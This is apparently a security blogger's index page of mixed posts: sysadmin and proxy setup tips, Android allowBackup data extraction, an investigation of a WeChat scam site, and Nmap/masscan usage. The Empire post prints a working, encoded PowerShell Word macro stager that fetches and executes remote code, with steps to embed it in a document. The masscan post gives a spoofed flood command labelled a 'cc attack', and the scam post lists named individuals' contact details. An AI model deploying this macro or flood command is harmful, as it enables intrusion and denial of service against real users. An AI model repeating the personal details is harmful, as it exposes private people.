xl7dev


  • Home

  • Archives

Free WeChat friend detection platform trap

Posted on 2018-10-12

domain

1
2
tps.oy54.cn
p1.mug0.cn

分析

  1. http://tps.oy54.cn/Login.aspx
  2. http://p1.mug0.cn/Login.aspx

redirect to

PC UA Mobile UA
http://main.haidaowx.cn/Login.aspx http://wx001.ailuquan.cn/index/index/sao?user=35641&type=1

tps_response
haidaowx
ailuquan

Whois

mug0.cn

1
蔡文学/13560062@qq.com

tps.oy54.cn

1
刘洁/13560062@qq.com

ailuquan.cn

1
王焱/3300308307@qq.com

more info

1
2
3
domain:3300308307.com
支付宝:3300308307@qq.com==>信阳同城网络科技有限公司
ailuquan.cn==>a01.330123456.com:8088==>QQ1795955858==>王焰朋

Qichacha

company mobile email address name
信阳同城网络科技有限公司 13033785072 itwy88@163.com 信阳市浉河区中山北路弘运鑫鑫广场写字楼1416号房 王焱

Summary

此平台通过在手机上发布微信僵尸粉检测来获取用户信息,主要用途猜测:

  1. 投票
  2. 文章访问量
  3. 诈骗
  4. 推广
  5. 关注公众号

Android allowBackup tips

Posted on 2017-06-23

Android allowBackup tips

root device

0x01 backup

1
> adb backup com.example.sharedprefs -f com.example.sharedprefs.ab

0x02 unpack

1
> java -jar abe.jar unpack com.example.sharedprefs.ab com.example.sharedprefs.tar

0x03 tar2ab

1
> java -jar abe.jar pack com.example.sharedprefs.tar com.example.sharedprefs.ab

0x04 restore

1
> adb restore back com.example.sharedprefs.ab

Download abe.jar

not root device

1
2
3
4
5
6
7
8
9
10
> adb backup -f com.example.sharedprefs.ab com.example.sharedprefs
> binwalk com.example.sharedprefs.ab
> dd if=com.example.sharedprefs.ab bs=24 skip=1| openssl zlib -d > com.example.sharedprefs.tar
> tar -tf com.example.sharedprefs.tar > com.example.sharedprefs.list
> tar -xf com.example.sharedprefs.tar
> cd apps/com.example.sharedprefs/sp/
> star -c -v -f newbackup.tar -no-dirslash list=com.example.sharedprefs.list
> dd if=com.example.sharedprefs.ab bs=24 count=1 of=newbackup.ab
> openssl zlib -in newbackup.tar >> newbackup.ab
> adb restore newbackup.ab

Google TCPBBR With Shadowsocksr

Posted on 2017-06-21

Google TCPBBR

CentOS 6+,Debian 7+,Ubuntu 12+

1
2
3
4
5
6
7
8
9
10
11
> wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.11/linux-headers-4.11.0-041100_4.11.0-041100.201705041534_all.deb
> dpkg -i linux-image-4.*.deb
> update-grub
> reboot
> modprobe tcp_bbr
> echo "tcp_bbr" >> /etc/modules-load.d/modules.conf
> echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
> echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
> sysctl -p
> sysctl net.ipv4.tcp_available_congestion_control
> sysctl net.ipv4.tcp_congestion_control

or quick install via bash script

1
2
3
4
5
6
> wget -N --no-check-certificate https://github.com/teddysun/across/raw/master/bbr.sh && chmod +x bbr.sh && bash bbr.sh
> uname -r # if have 4.9.0 success install
> sysctl net.ipv4.tcp_available_congestion_control
> sysctl net.ipv4.tcp_congestion_control
> sysctl net.core.default_qdisc
> lsmod | grep bbr # have bbr success install

Server

1
2
> apt-get install git
> git clone https://github.com/shadowsocksr/shadowsocksr

Debian / Ubuntu:

1
2
> apt-get install git
> git clone https://github.com/shadowsocksr/shadowsocksr.git

CentOS:

1
2
> yum install git
> git clone https://github.com/shadowsocksr/shadowsocksr.git

Windows:

1
> git clone https://github.com/shadowsocksr/shadowsocksr.git

1
2
3
> cd shadowsocksr && bash initcfg.sh
> cd ~/shadowsocksr/shadowsocks
> python server.py -p 443 -k password -m aes-128-cfb -O auth_chain_a -o tls1.2_ticket_auth -d start

Client

Android APP: SSR-android

iOS APP: Shadowrocket, Potatso2

MAC APP:ShadowsocksX-NG-R8

其它跨平台分支:avege, electron-ssr

Speed Setting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> vi /etc/security/limits.conf  # add line to file
* soft nofile 512000
* hard nofile 1024000
> vi /etc/profile # add line to file
ulimit -SHn 1024000
> reboot
> ulimit -n # if return 1024000 success
> vi /etc/sysctl.conf
# turn on TCP Fast Open on both client and server side
net.ipv4.tcp_fastopen = 3
> vi /etc/shadowsocks.json # edit false to true
"fast_open": true
> apt-get install python-m2crypto
> pip install M2Crypto --upgrade
> apt-get install python-dev libevent-dev python-setuptools python-gevent
easy_install greenlet gevent

Docker: https://hub.docker.com/r/breakwa11/shadowsocksr/

Ubuntu16.04.2 network not work

Posted on 2017-05-02

Create a new template

1
2
3
4
5
6
7
8
9
10
右上角网络连接>>编辑连接>>增加>>
以太网 >> 1) 填写连接名称:ethernet
2) 选择设备
802.1X安全性 >>
1) 勾选对此连接使用802.1X安全配置
2) 认证选择受保护的EAP(PEAP)
3) 勾选不需要CA证书(R)
4) 内部认证>>MSCHAPv2
5) 输入帐号和密码
IPv4 >> 勾选需要IPv4地址完成这个连接

setting

sudo cat /etc/NetworkManager/system-connections/ethernet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[connection]
id=ethernet
uuid=9e123fbc-0123-46e3-97b5-f3214e123456
type=ethernet
interface-name=eno1
permissions=
secondaries=

[ethernet]
duplex=full
mac-address=0A:12:3C:DA:C1:A5
mac-address-blacklist=

[802-1x]
altsubject-matches=
eap=peap;
identity=username # replace you login username
password=password # replace you login password
phase2-altsubject-matches=
phase2-auth=mschapv2
system-ca-certs=true

[ipv4]
dns-search=
may-fail=false
method=auto

[ipv6]
addr-gen-mode=stable=privacy
dns-search=
ip6-privacy=0
method=auto

Aria2 Usage

Posted on 2017-04-11

0x01 Install

1
> brew install aria2

BaiduExporter

115

xunlei

aria2gui

0x02 Setting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
> mkdir ~/.aria2 && cd ~/.aria2
> touch aria2.conf
> vi aria2.conf # add lines to aria2.conf
#用户名
#rpc-user=user
#密码
#rpc-passwd=passwd
#设置加密的密钥
#rpc-secret=secret
#允许rpc
enable-rpc=true
#允许所有来源, web界面跨域权限需要
rpc-allow-origin-all=true
#是否启用https加密,启用之后要设置公钥,私钥的文件路径
#rpc-secure=true
#启用加密设置公钥
#rpc-certificate=/home/name/.config/aria2/example.crt
#启用加密设置私钥
#rpc-private-key=/home/name/.config/aria2/example.key
#允许外部访问,false的话只监听本地端口
rpc-listen-all=false
#RPC端口, 仅当默认端口被占用时修改
#rpc-listen-port=6800
#最大同时下载数(任务数), 路由建议值: 3
max-concurrent-downloads=5
#断点续传
continue=true
#同服务器连接数
max-connection-per-server=5
#最小文件分片大小, 下载线程数上限取决于能分出多少片, 对于小文件重要
min-split-size=10M
#单文件最大线程数, 路由建议值: 5
split=10
#下载速度限制
max-overall-download-limit=0
#单文件速度限制
max-download-limit=0
#上传速度限制
max-overall-upload-limit=0
#单文件速度限制
max-upload-limit=0
#断开速度过慢的连接
#lowest-speed-limit=0
#验证用,需要1.16.1之后的release版本
#referer=*
#文件保存路径, 默认为当前启动位置
dir=/Users/hostname/Downloads
#文件缓存, 使用内置的文件缓存, 如果你不相信Linux内核文件缓存和磁盘内置缓存时使用, 需要1.16及以上版本
#disk-cache=0
#另一种Linux文件缓存方式, 使用前确保您使用的内核支持此选项, 需要1.15及以上版本(?)
#enable-mmap=true
#文件预分配, 能有效降低文件碎片, 提高磁盘性能. 缺点是预分配时间较长
#所需时间 none < falloc ? trunc << prealloc, falloc和trunc需要文件系统和内核支持
file-allocation=none
#不进行证书校验
check-certificate=false

0x03 Run

1
2
3
4
5
> aria2c    #so open Aria2GUI.app to add file download
or
> aria2c http://www.example.com/test.zip # download http
> aria2c file1.torrent # download torrent
> aria2c "magnet:?xt=urn:btih:248D0A1CD08284299DE78D5C1ED359BB46717D8C&dn=aria2" # download magnet

Empire Usage

Posted on 2017-03-25

> python empire

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
====================================================================================
Empire: PowerShell post-exploitation agent | [Version]: 1.6.0
====================================================================================
[Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================

_______ .___ ___. .______ __ .______ _______
| ____|| \/ | | _ \ | | | _ \ | ____|
| |__ | \ / | | |_) | | | | |_) | | |__
| __| | |\/| | | ___/ | | | / | __|
| |____ | | | | | | | | | |\ \----.| |____
|_______||__| |__| | _| |__| | _| `._____||_______|


180 modules currently loaded

1 listeners currently active

0 agents currently active

(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > execute
(Empire: listeners) > usestager macro test
(Empire: stager/macro) > execute
[*] Stager output written out to: /tmp/macro

(Empire: stager/macro) > [+] Initial agent 1EBMCTEWVZDNM13U from 192.168.1.205 now active
(Empire: stager/macro) > agents

[*] Active agents:

Name Internal IP Machine Name Username Process Delay Last Seen
--------- ----------- ------------ --------- ------- ----- --------------------
1EBMCTEWVZDNM13U 192.168.1.205 WIN *WIN\hello powershell/4272 5/0.0 2017-03-25 20:27:37

> cat /tmp/macro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Sub AutoOpen()
Debugging
End Sub

Sub Document_Open()
Debugging
End Sub

Public Function Debugging() As Variant
Dim Str As String
str = "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBT"
str = str + "AFkAcwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAVgBpAGMARQBQAG"
str = str + "8ASQBOAHQATQBBAE4AQQBnAGUAUgBdADoAOgBFAHgAUABFAEMA"
str = str + "VAAxADAAMABDAG8AbgB0AEkATgBVAEUAIAA9ACAAMAA7ACQAVw"
str = str + "BDAD0ATgBFAFcALQBPAGIASgBlAGMAdAAgAFMAWQBzAHQARQBN"
str = str + "AC4ATgBFAFQALgBXAGUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9AC"
str = str + "cATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8A"
str = str + "dwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVA"
str = str + "ByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAw"
str = str + "ACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAE"
str = str + "gARQBBAGQAZQBSAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEA"
str = str + "ZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAFgAeQ"
str = str + "AgAD0AIABbAFMAWQBTAFQARQBNAC4ATgBlAFQALgBXAEUAYgBS"
str = str + "AEUAUQBVAGUAUwB0AF0AOgA6AEQARQBmAEEAdQBMAHQAVwBlAE"
str = str + "IAUAByAE8AeAB5ADsAJAB3AGMALgBQAHIATwB4AHkALgBDAHIA"
str = str + "ZQBkAEUATgB0AEkAYQBsAFMAIAA9ACAAWwBTAHkAUwBUAGUATQ"
str = str + "AuAE4AZQBUAC4AQwBSAGUARABFAE4AVABJAEEATABDAEEAQwBo"
str = str + "AGUAXQA6ADoARABlAEYAYQBVAEwAdABOAGUAdAB3AE8AcgBLAE"
str = str + "MAcgBlAEQAZQBOAFQAaQBhAEwAUwA7ACQASwA9ACcAVABFAGMA"
str = str + "ewBZAEAAXgBMAEkASgB4AFYAZwAxAHAAWgBhADIAVQAzAEYAaQ"
str = str + "BOAEgAXQBgAD8AcgBCAHUAJQAqACcAOwAkAGkAPQAwADsAWwBj"
str = str + "AEgAQQBSAFsAXQBdACQAQgA9ACgAWwBjAEgAQQBSAFsAXQBdAC"
str = str + "gAJAB3AGMALgBEAE8AVwBOAEwAbwBhAGQAUwBUAFIASQBuAGcA"
str = str + "KAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALg"
str = str + "AyADAANgA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAi"
str = str + "ACkAKQApAHwAJQB7ACQAXwAtAGIAWABPAHIAJABrAFsAJABJAC"
str = str + "sAKwAlACQAawAuAEwARQBOAEcAdABIAF0AfQA7AEkARQBYACAA"
str = str + "KAAkAEIALQBKAE8ASQBuACcAJwApAA=="
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create str, Null, objConfig, intProcessID
End Function

打开Word>>视图>>宏>>查看宏>>输入宏名>>创建>>输入macro中内容>>保存

Port Scanner via Nmap && Masscan

Posted on 2017-03-09

Install to Mac

1
2
> brew install nmap
> brew install masscan

Nmap Usage

nmap -h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
Nmap 7.40 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <serv1[,serv2],...>: Specify custom DNS servers
--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports <number>: Scan <number> most common ports
--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-intensity <level>: Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or
script-categories.
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
Options which take <time> are in seconds, or append 'ms' (milliseconds),
's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
-T<0-5>: Set timing template (higher is faster)
--min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
--min-parallelism/max-parallelism <numprobes>: Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
probe round trip time.
--max-retries <tries>: Caps number of port scan probe retransmissions.
--host-timeout <time>: Give up on target after this long
--scan-delay/--max-scan-delay <time>: Adjust delay between probes
--min-rate <number>: Send packets no slower than <number> per second
--max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
-f; --mtu <val>: fragment packets (optionally w/given MTU)
-D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
-S <IP_Address>: Spoof source address
-e <iface>: Use specified interface
-g/--source-port <portnum>: Use given port number
--proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
--data <hex string>: Append a custom payload to sent packets
--data-string <string>: Append a custom ASCII string to sent packets
--data-length <num>: Append random data to sent packets
--ip-options <options>: Send packets with specified ip options
--ttl <val>: Set IP time-to-live field
--spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
--badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
--reason: Display the reason a port is in a particular state
--open: Only show open (or possibly open) ports
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--append-output: Append to rather than clobber specified output files
--resume <filename>: Resume an aborted scan
--stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
--webxml: Reference stylesheet from Nmap.Org for more portable XML
--no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
-6: Enable IPv6 scanning
-A: Enable OS detection, version detection, script scanning, and traceroute
--datadir <dirname>: Specify custom Nmap data file location
--send-eth/--send-ip: Send using raw ethernet frames or IP packets
--privileged: Assume that the user is fully privileged
--unprivileged: Assume the user lacks raw socket privileges
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES

NSE Categories

1
2
3
4
5
6
7
8
9
10
11
12
13
14
auth
broadcast
brute
default
discovery
dos
exploit
external
fuzzer
intrusive
malware
safe
version
vuln

1
2
3
4
5
6
> sudo nmap -sS -Pn -n -v -sn -T5 -iL ips.txt
> sudo nmap -sS -Pn -n -v --open -p 80 -sV -T5 -O --host-timeout=180000 -iL ips.txt
> wget https://raw.githubusercontent.com/maaaaz/nmaptocsv/master/nmaptocsv.py
> python nmaptocsv.py -i test.nmap -f ip-fqdn-port-protocol-service-version-os
or
> python nmaptocsv.py -i test.gnmap -f ip-fqdn-port-protocol-service-version-os
1
2
3
4
192.168.1.2;test.lan;135;tcp;msrpc;Microsoft Windows RPC;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;139;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;445;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;5357;tcp;http;Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP);Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

Import Metasploit

msfconsole

1
2
msf > db_import test.xml
msf > hosts

Masscan Using

masscan –nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Usage: masscan [Options] -p{Target-Ports} {Target-IP-Ranges}
TARGET SPECIFICATION:
Can pass only IPv4 address, CIDR networks, or ranges (non-nmap style)
Ex: 10.0.0.0/8, 192.168.0.1, 10.0.0.1-10.0.0.254
-iL <inputfilename>: Input from list of hosts/networks
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
--randomize-hosts: Randomize order of hosts (default)
HOST DISCOVERY:
-Pn: Treat all hosts as online (default)
-n: Never do DNS resolution (default)
SCAN TECHNIQUES:
-sS: TCP SYN (always on, default)
SERVICE/VERSION DETECTION:
--banners: get the banners of the listening service if available. The
default timeout for waiting to recieve data is 30 seconds.
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p 111,137,80,139,8080
TIMING AND PERFORMANCE:
--max-rate <number>: Send packets no faster than <number> per second
--connection-timeout <number>: time in seconds a TCP connection will
timeout while waiting for banner data from a port.
FIREWALL/IDS EVASION AND SPOOFING:
-S/--source-ip <IP_Address>: Spoof source address
-e <iface>: Use specified interface
-g/--source-port <portnum>: Use given port number
--ttl <val>: Set IP time-to-live field
--spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
OUTPUT:
--output-format <format>: Sets output to binary/list/json/grepable/xml
--output-file <file>: Write scan results to file. If --output-format is
not given default is xml
-oL/-oJ/-oG/-oB/-oX <file>: Output scan in List/JSON/Grepable/Binary/XML format,
respectively, to the given filename. Shortcut for
--output-format <format> --output-file <file>
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
--open: Only show open (or possibly open) ports
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--append-output: Append to rather than clobber specified output files
--resume <filename>: Resume an aborted scan
MISC:
--send-eth: Send using raw ethernet frames (default)
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80
masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
masscan --open --banners --readscan internet.scan -oG internet_scan.grepable
SEE (https://github.com/robertdavidgraham/masscan) FOR MORE HELP

Other Setting

1
2
--wait <int>: wait time
-oR <value>: setting redis connect 127.0.0.1:6379

1
2
> masscan 0.0.0.0/4 -p80 --rate 100000000 --router-mac 66-55-44-33-22-11
> masscan 10.1.2.3 -p80 --banners --rate 10000000 --repeat --source-address 192.168.1.0/8 --source-port 0-65535 --output-format null # cc attack

Differences in Log Formats

time ip port state/status ip_proto reason ttl proto/service owner sunrpc version banner cert
binary yes yes yes yes yes yes yes yes n/a n/a n/a yes yes
xml no yes yes yes yes yes yes yes n/a n/a n/a yes yes
grepable no yes yes yes yes no no yes n/a n/a n/a yes yes
json no yes yes yes yes yes yes yes n/a n/a n/a yes yes
null n/a n/a n/a n/a n/a n/a n/a n/a n/a n/a n/a n/a n/a
redis no yes yes no yes no no no n/a n/a n/a no no
text yes yes yes yes yes no no yes n/a n/a n/a yes yes
unicornscan no yes yes yes yes no yes no n/a n/a n/a no no

Capabilities and samples

1
2
3
4
5
6
7
8
binary
xml
grepable
json
null
redis
text (a.k.a. "list")
unicornscan

import to redis

1
> sudo masscan -p8899,8088,5566 119.97.243.42 --output-format redis -oR 127.0.0.1:6379

redis-cli

1
2
3
4
5
6
127.0.0.1:6379> keys *
1) "192.168.1.10:8080/tcp"
2) "192.168.1.10:80/tcp"
3) "host"
4) "192.168.1.10"
5) "192.168.1.10:8181/tcp"

Openwrt install Tor Proxy

Posted on 2017-02-26
1
2
> opkg update
> opkg install tor

root@OpenWrt:~# vi /etc/tor/torrc

1
2
3
4
5
6
7
8
RunAsDaemon 0  
DataDirectory /var/lib/tor
User tor
Socks5Proxy 127.0.0.1:1080
SocksPort 0.0.0.0:9050
TransPort 0.0.0.0:9040
DNSPort 0.0.0.0:53
AvoidDiskWrites 1

root@OpenWrt:~# vi /etc/config/dhcp

1
2
3
config dnsmasq
option noresolv '1'
list server '127.0.0.1#53'

root@OpenWrt:~# /etc/init.d/tor stop
root@OpenWrt:~# tor

Openwrt install Shadowsocks auto Proxy

Posted on 2017-02-26
1
2
3
4
5
> opkg update
> opkg install ip ip-full iptables-mod-tproxy ipset libopenssl iptables-mod-tproxy
> wget https://github.com/aa65535/openwrt-chinadns/releases/download/v1.3.2-4/ChinaDNS_1.3.2-4_ar71xx.ipk
> wget https://github.com/aa65535/openwrt-dist-luci/releases/download/v1.6.0/luci-app-chinadns_1.6.0-1_all.ipk
> opkg install *.ipk

ChinaDNS

Services >> ChinaDNS

header 1 header 2
Enable ☑️
Enable Bidirectional Filter ☑️ help Also filter results inside China from foreign DNS servers
Local Port 5353
CHNRoute File /etc/chinadns_chnroute.txt
Upstream Servers 180.76.76.76,8.8.4.4

root@OpenWrt:~# crontab -e

1
0 0 * * * wget -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F\| '/CN\|ipv4/ { printf("%s/%d\n", $4, 32-log($5)/log(2)) }' > /etc/chinadns_chnroute.txt

Shadowsocks

Services >> ShadowSocks >> General Settings >> Transparent Proxy

header 1 header 2
Main Server [Shadowsocks server IP:Port]
UDP-Relay Server Same as Main Server
Local Port 1234

Services >> ShadowSocks >> SOCKS5 Proxy

header 1 header 2
Server [Shadowsocks Server IP:Server Port]
Local Port 1080

Services >> ShadowSocks >> Servers Manage >> Edit

header 1 header 2
Server [Shadowsocks IP]
Server Port [Shadowsocks Port]
Connection Timeout 60
Password password
Encrypt Method AES-256-CFB
Plugin Name
Plugin Arguments

Mac OSX install MAMP mongo-php-driver

Posted on 2017-02-25
1
2
3
> brew install openssl autoconf
> echo 'export PATH="/usr/local/opt/openssl/bin:$PATH"' >> ~/.zshrc
> sudo /Applications/MAMP/bin/php/php5.6.10/bin/pecl install mongodb

open MAMP Pro > File > Edit Template > PHP > php5.6.10.ini

1
2
3
4
5
6
7
8
MAMP_apc_MAMP
extension=imap.so
extension=gettext.so
extension=mcrypt.so
extension=yaz.so
extension=pgsql.so
extension=pdo_pgsql.so
extension=mongodb.so

open http://127.0.0.1/phpinfo.php grep mongodb

Q1

1
2
3
4
running: phpize
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/main/php.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_modules.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_extensions.h: No such file or directory

fix

1
sudo ln -s /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/ /Applications/MAMP/bin/php/php5.6.10/include

Q2

1
2
3
4
5
private/tmp/pear/install/mongodb/src/libbson/src/bson/ -DHAVE_CONFIG_H -g -O2 -D_THREAD_SAFE -pthread -c /private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c  -fno-common -DPIC -o src/libmongoc/src/mongoc/.libs/mongoc-crypto-openssl.o
/private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c:24:10: fatal error: 'openssl/sha.h' file not found
#include <openssl/sha.h>
^
1 error generated.

fix

1
2
> cd /usr/local/include 
> ln -s ../opt/openssl/include/openssl .

12…9
xl7dev

xl7dev

Information Security

86 posts
66 tags
RSS
Links
  • Knownsec
  • 园长
  • jeary
  • Tr3jer
  • tudouya
© 2018 xl7dev
Powered by Hexo
|
Theme — NexT.Muse v5.1.4